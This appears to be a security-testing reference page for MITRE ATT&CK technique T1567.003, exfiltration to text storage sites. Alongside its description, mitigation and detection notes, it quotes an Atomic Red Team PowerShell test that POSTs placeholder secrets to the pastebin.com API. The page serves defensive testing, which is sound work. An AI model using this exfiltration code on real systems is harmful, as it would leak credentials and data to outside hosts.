T1567.003 Exfiltration to Text Storage Sites
Sub-technique of: T1567
High-Level Description
Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.
Text storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.
Note: This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.
Kill Chain Phase
- Exfiltration (TA0010)
Platforms: Linux, macOS, Windows, ESXi
What to Check
- Identify if Exfiltration to Text Storage Sites technique is applicable to target environment
- Check Linux systems for indicators of Exfiltration to Text Storage Sites
- Check macOS systems for indicators of Exfiltration to Text Storage Sites
- Check Windows systems for indicators of Exfiltration to Text Storage Sites
- Verify mitigations are bypassed or absent (1 known mitigations)
- Assess detection coverage (1 detection strategies)
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)
This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin)
See https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it
Supported Platforms: windows
$apiKey = "#{api_key}"
$content = "secrets, api keys, passwords..."
$url = "https://pastebin.com/api/api_post.php"
$postData = @{
api_dev_key = $apiKey
api_option = "paste"
api_paste_code = $content
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
Write-Host "Your paste URL: $response"
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Exfiltration to Text Storage Sites by examining the target platforms (Linux, macOS, Windows).
Assess Existing Defenses: Review whether mitigations for T1567.003 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
M1021 Restrict Web-Based Content
Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.
Detection
Detection Strategy for Exfiltration to Text Storage Sites
Risk Assessment
| Finding | Severity | Impact |
|---|---|---|
| Exfiltration to Text Storage Sites technique applicable | Low | Exfiltration |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-200 | Exposure of Sensitive Information |